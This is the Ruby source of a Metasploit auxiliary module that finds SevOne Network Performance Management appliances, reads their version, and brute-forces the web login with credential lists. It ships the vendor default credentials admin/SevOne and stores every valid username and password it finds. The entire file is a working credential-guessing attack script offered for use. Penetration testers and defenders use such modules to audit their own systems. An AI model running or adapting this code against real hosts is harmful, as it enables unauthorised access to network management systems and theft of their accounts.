##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'	=> 'SevOne Network Performance Management Application Brute Force Login Utility',
      'Description'    => %{
          This module scans for SevOne Network Performance Management System Application,
        finds its version, and performs login brute force to identify valid credentials.
      },
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'DisclosureDate' => 'Jun 07 2013',
      'License'        => MSF_LICENSE
    ))
  register_options(
    [
      OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
      OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne'])
    ], self.class)
  end

  def run_host(ip)
    unless is_app_sevone?
      print_error("#{rhost}:#{rport} - Application does not appear to be SevOne. Module will not continue.")
      return
    end

    print_status("#{rhost}:#{rport} - Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the app actually isn't SevOne?
  #
  def is_app_sevone?
    res = send_request_cgi(
    {
      'uri'       => '/doms/about/index.php',
      'method'    => 'GET'
    })

    if (res and res.code.to_i == 200 and res.get_cookies.include?('SEVONE'))
      version_key = /Version: <strong>(.+)<\/strong>/
      version = res.body.scan(version_key).flatten
      print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}")
      return true
    end
    return false
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
    begin
      res = send_request_cgi(
      {
        'uri'       => "/doms/login/processLogin.php",
        'method'    => 'GET',
        'vars_get'    =>
        {
          'login' => user,
          'passwd' => pass,
          'tzOffset' => '-25200',
          'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'
        }
      })

    if res.nil?
      print_error("#{rhost}:#{rport} - Connection timed out")
      return :abort
    end

    check_key = "The user has logged in successfully."

    key = JSON.parse(res.body)["statusString"]

    if (not res or key != "#{check_key}")
      vprint_error("#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
      return :skip_pass
    else
      print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
      report_cred(
        ip: rhost,
        port: rport,
        service_name: 'SevOne Network Performance Management System Application',
        user: user,
        password: pass,
        proof: key
      )
      return :next_user
    end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end